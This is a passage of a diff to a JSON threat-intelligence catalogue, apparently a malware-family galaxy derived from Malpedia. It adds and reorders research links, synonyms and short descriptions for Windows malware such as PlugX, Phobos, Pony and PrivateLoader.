"https://twitter.com/ESETresearch/status/1258353960781598721", + "https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/", "https://obscuritylabs.com/blog/2017/11/13/match-made-in-the-shadows-part-3/" ], "synonyms": [], @@ -27247,10 +32333,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.philadelphia_ransom", - "https://www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", "https://www.cylance.com/en_us/blog/threat-spotlight-philadelphia-ransomware.html", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/", "https://www.proofpoint.com/us/threat-insight/post/philadelphia-ransomware-customization-commodity-malware", + "https://intel471.com/blog/a-brief-history-of-ta505", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "https://krebsonsecurity.com/2017/03/ransomware-for-dummies-anyone-can-do-it/" ], @@ -27265,25 +32352,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.phobos", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", "https://www.coveware.com/blog/phobos-ransomware-distributed-dharma-crew", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", "https://www.advanced-intel.com/post/inside-phobos-ransomware-dharma-past-underground", - "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", - "https://www.sri.ro/articole/atac-cibernetic-cu-aplicatia-ransomware-phobos", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://securelist.com/cis-ransomware/104452/", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", "https://blog.morphisec.com/the-fair-upgrade-variant-of-phobos-ransomware", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://paraflare.com/luci-spools-the-fun-with-phobos-ransomware/", + "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://www.sri.ro/articole/atac-cibernetic-cu-aplicatia-ransomware-phobos", + "https://blogs.blackberry.com/en/2021/11/zebra2104", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://www.fortinet.com/blog/threat-research/deep-analysis-the-eking-variant-of-phobos-ransomware", "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", "https://blog.malwarebytes.com/threat-spotlight/2020/01/threat-spotlight-phobos-ransomware-lives-up-to-its-name/", - "https://securelist.com/cis-ransomware/104452/", - "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", "https://blog.malwarebytes.com/threat-analysis/2019/07/a-deep-dive-into-phobos-ransomware/", - "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://www.fortinet.com/blog/threat-research/deep-analysis-the-eking-variant-of-phobos-ransomware", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/" + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/" ], "synonyms": [], "type": [] @@ -27305,11 +32395,28 @@ "uuid": "601ea680-68ec-43c9-ba20-88eaaefe8818", "value": "Phoenix Keylogger" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoenix_locker", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", + "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions" + ], + "synonyms": [], + "type": [] + }, + "uuid": "58aff639-0eda-4a80-9fe8-22e0498af728", + "value": "Phoenix Locker" + }, { "description": " Phoreal is a very simple backdoor that is capable of creating a reverse shell, performing simple file I/O and top-level window enumeration. It communicates to a list of four preconfigured C2 servers via ICMP on port 53", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoreal", + "https://elastic.github.io/security-research/intelligence/2022/03/02.phoreal-targets-southeast-asia-financial-sector/article/", "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/SpyRATsofOceanLotusMalwareWhitePaper.pdf", "https://www.secureworks.com/research/threat-profiles/tin-woodlawn" ], @@ -27333,13 +32440,16 @@ "https://www.lastline.com/labsblog/nemty-ransomware-scaling-up-apac-mailboxes-swarmed-dual-downloaders/", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", "https://www.johannesbader.ch/2016/02/phorpiex/", + "https://blogs.vmware.com/security/2021/11/telemetry-peak-analyzer-an-automatic-malware-campaign-detector.html", "https://therecord.media/phorpiex-botnet-shuts-down-source-code-goes-up-for-sale/", "https://www.microsoft.com/security/blog/2021/05/20/phorpiex-morphs-how-a-longstanding-botnet-persists-and-thrives-in-the-current-threat-environment/", "https://www.zdnet.com/article/someone-is-uninstalling-the-phorpiex-malware-from-infected-pcs-and-telling-users-to-install-an-antivirus/", + "https://twitter.com/_CPResearch_/status/1447852018794643457", "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", "https://www.bleepingcomputer.com/news/security/trik-spam-botnet-leaks-43-million-email-addresses/", + "https://research.checkpoint.com/2021/phorpiex-botnet-is-back-with-a-new-twizt-hijacking-hundreds-of-crypto-transactions/", "https://www.proofpoint.com/us/threat-insight/post/phorpiex-decade-spamming-shadows" ], "synonyms": [ @@ -27350,6 +32460,29 @@ "uuid": "9759f99b-6d6c-4633-aa70-cb1d2bacc540", "value": "Phorpiex" }, + { + "description": "A loader used to deliver IcedID, fetching a fake image from which payloads are extracted.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.photoloader", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://www.intezer.com/blog/research/conversation-hijacking-campaign-delivering-icedid/", + "https://isc.sans.edu/diary/28636", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.silentpush.com/blog/icedid-command-and-control-infrastructure", + "https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes", + "https://sysopfb.github.io/malware,/icedid/2020/04/28/IcedIDs-updated-photoloader.html", + "https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/", + "https://www.silentpush.com/blog/malicious-infrastructure-as-a-service", + "https://twitter.com/felixw3000/status/1521816045769662468" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3418ca80-73d9-49ab-836a-98230a83c67d", + "value": "PhotoLoader" + }, { "description": "PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome, Firefox, and Internet Explorer to a file. This tool was previously observed solely utilized by APT34.", "meta": { @@ -27398,7 +32531,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pingback", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel/" + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel/", + "https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/" ], "synonyms": [], "type": [] @@ -27419,6 +32553,20 @@ "uuid": "ea1c71fe-ad42-4c5a-8114-9ab9ecaa66f5", "value": "pipcreat" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.pipemon", + "https://twitter.com/ESETresearch/status/1506904404225630210", + "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "34c0b51a-7139-44ab-b09a-cef646e66ba0", + "value": "PipeMon" + }, { "description": "", "meta": { @@ -27560,11 +32708,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ploutus_atm", - "https://www.fireeye.com/blog/threat-research/2017/01/new_ploutus_variant.html", - "https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf", - "http://antonioparata.blogspot.co.uk/2018/02/analyzing-nasty-net-protection-of.html", "https://www.metabaseq.com/recursos/ploutus-is-back-targeting-itautec-atms-in-latin-america", - "https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html" + "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", + "https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf", + "https://www.crowdstrike.com/blog/ploutus-atm-malware-deobfuscation-case-study", + "https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html", + "https://www.fireeye.com/blog/threat-research/2017/01/new_ploutus_variant.html", + "http://antonioparata.blogspot.co.uk/2018/02/analyzing-nasty-net-protection-of.html" ], "synonyms": [], "type": [] @@ -27591,26 +32741,34 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.plugx", - "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", "https://community.rsa.com/thread/185439", + "https://www.secureworks.com/blog/bronze-president-targets-russian-speakers-with-updated-plugx", + "https://www.sentinelone.com/labs/moshen-dragons-triad-and-error-approach-abusing-security-software-to-sideload-plugx-and-shadowpad/", "https://www.recordedfuture.com/redecho-targeting-indian-power-sector/", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "https://www.secureworks.com/research/threat-profiles/bronze-president", + "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", "http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html", "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/", "https://securelist.com/apt-trends-report-q2-2020/97937/", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf", "https://www.recordedfuture.com/china-linked-ta428-threat-group", "http://blog.airbuscybersecurity.com/post/2014/01/plugx-some-uncovered-points.html", - "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", + "https://cyberandramen.net/2022/01/06/a-gulp-of-plugx/", "https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/plugx-a-talisman-to-behold.html", + "https://www.fortinet.com/blog/threat-research/uncovering-new-activity-by-apt-", + "https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html", "https://www.sophos.com/en-us/medialibrary/pdfs/technical%20papers/plugx-thenextgeneration.pdf", + "https://www.nortonlifelock.com/sites/default/files/2021-10/OPERATION%20EXORCIST%20White%20Paper.pdf", "https://www.nttsecurity.com/docs/librariesprovider3/default-document-library/craftypanda-analysis-report", "https://www.secureworks.com/research/threat-profiles/bronze-union", "https://www.secureworks.com/research/threat-profiles/bronze-firestone", "https://lab52.io/blog/mustang-panda-recent-activity-dll-sideloading-trojans-with-temporal-c2-servers/", "https://countuponsecurity.com/2018/05/09/malware-analysis-plugx-part-2/", + "https://ics-cert.kaspersky.com/publications/reports/2022/06/27/attacks-on-industrial-control-systems-using-shadowpad/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage", "https://marcoramilli.com/2020/03/19/is-apt27-abusing-covid-19-to-attack-people/", "https://blog.xorhex.com/blog/mustangpandaplugx-1/", @@ -27620,6 +32778,7 @@ "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", "https://news.sophos.com/en-us/2020/11/04/a-new-apt-uses-dll-side-loads-to-killlsomeone/", "https://blog.viettelcybersecurity.com/p1-chien-dich-cua-nhom-apt-trung-quoc-goblin-panda-tan-cong-vao-viet-nam-loi-dung-dai-dich-covid-19/", + "https://redalert.nshc.net/2022/04/14/hacking-activity-of-sectorb-group-in-2021/", "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/", "https://securelist.com/cycldek-bridging-the-air-gap/97157/", "https://www.recordedfuture.com/chinese-apt-groups-target-afghan-telecommunications-firm/", @@ -27633,40 +32792,53 @@ "https://blog.ensilo.com/uncovering-new-activity-by-apt10", "http://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/", "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf", + "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor", "https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/", "https://blog.xorhex.com/blog/reddeltaplugxchangeup/", "https://securelist.com/time-of-death-connected-medicine/84315/", "https://tracker.h3x.eu/info/290", "https://www.contextis.com/de/blog/avivore", + "https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html", + "https://www.youtube.com/watch?v=C_TmANnbS2k", "https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/", "https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf", "https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader", "https://www.secureworks.com/research/threat-profiles/bronze-keystone", "https://www.secureworks.com/research/threat-profiles/bronze-overbrook", "https://or10nlabs.tech/reverse-engineering-the-mustang-panda-plugx-rat-extracting-the-config/", + "https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european", "https://therecord.media/redecho-group-parks-domains-after-public-exposure/", "https://or10nlabs.tech/reverse-engineering-the-mustang-panda-plugx-loader", "https://www.secureworks.com/research/threat-profiles/bronze-express", "https://www.secureworks.com/research/threat-profiles/bronze-olive", "https://go.recordedfuture.com/hubfs/reports/cta-2020-0915.pdf", "https://www.ptsecurity.com/ww-en/analytics/calypso-apt-2019/", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", "https://insights.oem.avira.com/new-wave-of-plugx-targets-hong-kong/", + "https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html", "https://threatconnect.com/blog/research-roundup-activity-on-previously-identified-apt33-domains/", + "https://threatpost.com/chinese-apt-combines-fresh-hodur-rat-with-complex-anti-detection/179084/", "https://st.drweb.com/static/new-www/news/2020/july/Study_of_the_APT_attacks_on_state_institutions_in_Kazakhstan_and_Kyrgyzstan_en.pdf", "https://threatrecon.nshc.net/2019/03/19/sectorm04-targeting-singapore-custom-malware-analysis/", + "https://www.welivesecurity.com/fr/2022/03/25/mustang-pandas-hodur-nouveau-korplug/", "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://silascutler.blogspot.com/2019/11/fresh-plugx-october-2019.html", + "https://www.youtube.com/watch?v=qEwBGGgWgOM", + "https://www.computerweekly.com/news/252471769/New-threat-group-behind-Airbus-cyber-attacks-claim-researchers", "https://st.drweb.com/static/new-www/news/2020/october/Study_of_the_ShadowPad_APT_backdoor_and_its_relation_to_PlugX_en.pdf", "https://www.macnica.net/file/security_report_20160613.pdf", - "https://www.fortinet.com/blog/threat-research/uncovering-new-activity-by-apt-", + "http://blog.jpcert.or.jp/.s/2017/04/redleaves---malware-based-on-open-source-rat.html", + "https://blog.vincss.net/2022/05/re027-china-based-apt-mustang-panda-might-have-still-continued-their-attack-activities-against-organizations-in-Vietnam.html", + "https://www.uscc.gov/sites/default/files/2022-02/Adam_Kozy_Testimony.pdf", "https://www.us-cert.gov/ncas/alerts/TA17-117A", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://twitter.com/stvemillertime/status/1261263000960450562", "https://www.rsa.com/content/dam/pdfs/2-2017/kingslayer-a-supply-chain-attack.pdf", + "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", "https://blogs.jpcert.or.jp/en/2017/04/redleaves---malware-based-on-open-source-rat.html", "https://www.secureworks.com/research/threat-profiles/bronze-atlas", "https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf", "https://go.contextis.com/rs/140-OCV-459/images/White%20Paper_PlugX%20-%20Payload%20Extraction.pdf", + "https://www.contextis.com/en/blog/dll-search-order-hijacking", "https://blog.xorhex.com/blog/mustangpandaplugx-2/", "https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt", "https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn", @@ -27685,19 +32857,25 @@ "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia", "https://twitter.com/xorhex/status/1399906601562165249?s=20", "https://www.bleepingcomputer.com/news/security/chinas-apt-hackers-move-to-ransomware-attacks/", + "https://www.contextis.com/en/blog/avivore", "https://www.secureworks.com/research/threat-profiles/bronze-woodland", - "http://blog.jpcert.or.jp/.s/2017/04/redleaves---malware-based-on-open-source-rat.html", + "https://silascutler.blogspot.com/2019/11/fresh-plugx-october-2019.html", + "https://www.recordedfuture.com/chinese-group-calypso-exploiting-microsoft-exchange/", + "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-handle-stack-strings/", + "https://www.welivesecurity.com/2022/03/23/mustang-panda-hodur-old-tricks-new-korplug-variant/", "https://unit42.paloaltonetworks.com/pkplug_chinese_cyber_espionage_group_attacking_asia/", "https://risky.biz/whatiswinnti/", "https://www.cyber.gov.au/sites/default/files/2019-03/msp_investigation_report.pdf", "https://www.secureworks.com/research/threat-profiles/bronze-riverside", - "https://www.recordedfuture.com/chinese-group-calypso-exploiting-microsoft-exchange/", - "http://blog.jpcert.or.jp/2017/02/plugx-poison-iv-919a.html" + "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "http://blog.jpcert.or.jp/2017/02/plugx-poison-iv-919a.html", + "https://www.bleepingcomputer.com/news/security/new-mustang-panda-hacking-campaign-targets-diplomats-isps/" ], "synonyms": [ "Destroy RAT", "Kaba", "Korplug", + "RedDelta", "Sogu", "TIGERPLUG" ], @@ -27780,11 +32958,12 @@ "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", "http://blog.fortinet.com/2017/08/23/deep-analysis-of-new-poison-ivy-variant", "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/", + "https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html", "https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2016/2016.04.26.New_Poison_Ivy_Activity_Targeting_Myanmar_Asian_Countries/New%20Poison%20Ivy%20Activity%20Targeting%20Myanmar%2C%20Asian%20Countries.pdf", "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-pulling-pkplug-adversary-playbook-long-standing-espionage-activity-chinese-nation-state-adversary/", - "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/analysing-a-recent-poison-ivy-sample/", "https://lab52.io/blog/icefog-apt-group-abusing-recent-conflict-between-iran-and-eeuu/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/", "https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html", "https://www.recordedfuture.com/china-linked-ta428-threat-group", "https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology", @@ -27803,14 +32982,16 @@ "https://www.welivesecurity.com/2021/02/01/operation-nightscout-supply-chain-attack-online-gaming-asia/", "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2011/the_nitro_attacks.pdf", "https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf", + "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", - "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", + "https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html", "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", "https://www.secureworks.com/research/threat-profiles/bronze-union", - "https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html", + "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", "https://www.secureworks.com/research/threat-profiles/bronze-firestone", "http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman%20Holiday-Report_v6_1.pdf", "https://www.secureworks.com/research/threat-profiles/bronze-riverside", + "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", "http://blogs.360.cn/post/APT_C_01_en.html" ], "synonyms": [ @@ -27884,29 +33065,32 @@ "value": "Polyglot" }, { - "description": "", + "description": "According to KnowBe4, Pony Stealer is a password stealer that can decrypt or unlock passwords for over 110 different applications including VPN, FTP, email, instant messaging, web browsers and much more. Pony Stealer is very dangerous and once it infects a PC it will turn the device into a botnet, allowing it to use the PCs it infects to infect other PCs.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pony", - "http://www.secureworks.com/research/threat-profiles/gold-evergreen", - "http://www.secureworks.com/research/threat-profiles/gold-essex", - "https://www.youtube.com/watch?v=y8Z9KnL8s8s", - "https://www.youtube.com/watch?v=EyDiIAt__dI", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://www.uperesia.com/analysis-of-a-packed-pony-downloader", - "https://www.secureworks.com/research/threat-profiles/gold-evergreen", - "https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://i.blackhat.com/asia-21/Thursday-Handouts/as21-Taniguchi-How-Did-The-Adversaries-Abusing-The-Bitcoin-Blockchain-Evade-Our-Takeover.pdf", "https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry", + "https://www.secureworks.com/research/threat-profiles/gold-evergreen", + "https://i.blackhat.com/asia-21/Thursday-Handouts/as21-Taniguchi-How-Did-The-Adversaries-Abusing-The-Bitcoin-Blockchain-Evade-Our-Takeover.pdf", + "https://www.secureworks.com/research/threat-profiles/gold-essex", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "http://www.secureworks.com/research/threat-profiles/gold-essex", + "https://www.knowbe4.com/pony-stealer", + "https://www.uperesia.com/analysis-of-a-packed-pony-downloader", "https://int0xcc.svbtle.com/practical-threat-hunting-and-incidence-response-a-case-of-a-pony-malware-infection", "https://www.secureworks.com/research/threat-profiles/gold-galleon", - "http://www.secureworks.com/research/threat-profiles/gold-galleon", - "https://www.mcafee.com/us/resources/reports/rp-quarterly-threats-jun-2017.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-essex", - "https://github.com/nyx0/Pony", + "http://www.secureworks.com/research/threat-profiles/gold-evergreen", + "https://www.youtube.com/watch?v=EyDiIAt__dI", + "https://www.youtube.com/watch?v=42yldTQ-fWA", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/" + "http://www.secureworks.com/research/threat-profiles/gold-galleon", + "https://www.youtube.com/watch?v=y8Z9KnL8s8s", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/", + "https://www.mcafee.com/us/resources/reports/rp-quarterly-threats-jun-2017.pdf", + "https://github.com/nyx0/Pony" ], "synonyms": [ "Fareit", @@ -27936,10 +33120,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.poorweb", + "https://blog.reversinglabs.com/blog/poorweb-exploiting-document-formats", "https://securelist.com/apt-trends-report-q2-2018/86487/", - "https://fortiguard.com/resources/threat-brief/2019/05/10/fortiguard-threat-intelligence-brief-may-10-2019", "https://asec.ahnlab.com/ko/18796/", - "https://blog.reversinglabs.com/blog/poorweb-exploiting-document-formats" + "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", + "https://fortiguard.com/resources/threat-brief/2019/05/10/fortiguard-threat-intelligence-brief-may-10-2019" ], "synonyms": [], "type": [] @@ -28000,6 +33186,7 @@ "https://redcanary.com/blog/getsystem-offsec/", "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", "http://www.rewterz.com/rewterz-news/rewterz-threat-alert-iranian-apt-uses-job-scams-to-lure-targets", + "https://ti.dbappsecurity.com.cn/blog/articles/2021/09/06/operation-maskface/", "https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html" ], "synonyms": [], @@ -28049,7 +33236,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.povlsomware", - "https://www.trendmicro.com/en_us/research/21/c/povlsomware-ransomware-features-cobalt-strike-compatibility.html" + "https://www.trendmicro.com/en_us/research/21/c/povlsomware-ransomware-features-cobalt-strike-compatibility.html", + "https://youtu.be/oYLs6wuoOfg" ], "synonyms": [], "type": [] @@ -28285,13 +33473,32 @@ "uuid": "0714a7ad-45cb-44ec-92f9-2e839fd8a6b8", "value": "PrincessLocker" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.privateloader", + "https://tavares.re/blog/2022/06/06/hunting-privateloader-pay-per-install-service/", + "https://www.trendmicro.com/en_us/research/22/e/netdooka-framework-distributed-via-privateloader-ppi.html", + "https://www.youtube.com/watch?v=Ldp7eESQotM", + "https://www.zscaler.com/blogs/security-research/peeking-privateloader", + "https://intel471.com/blog/privateloader-malware" + ], + "synonyms": [], + "type": [] + }, + "uuid": "dc62452c-a563-4a98-a4cd-174a7125e566", + "value": "PrivateLoader" + }, { "description": "Malware that abuses the Common Log File System (CLFS) to store/hide a second stage payload via registry transaction files.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.privatelog", + "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html", "https://twitter.com/ESETresearch/status/1433819369784610828", - "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html" + "https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive", + "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques" ], "synonyms": [], "type": [] @@ -28312,18 +33519,37 @@ "uuid": "d0c7815d-6039-436f-96ef-0767aabbdb36", "value": "Project Hook POS" }, + { + "description": "According to Lior Rochberger, Cybereason, prometei is a modular and multi-stage cryptocurrency botnet. It was discovered 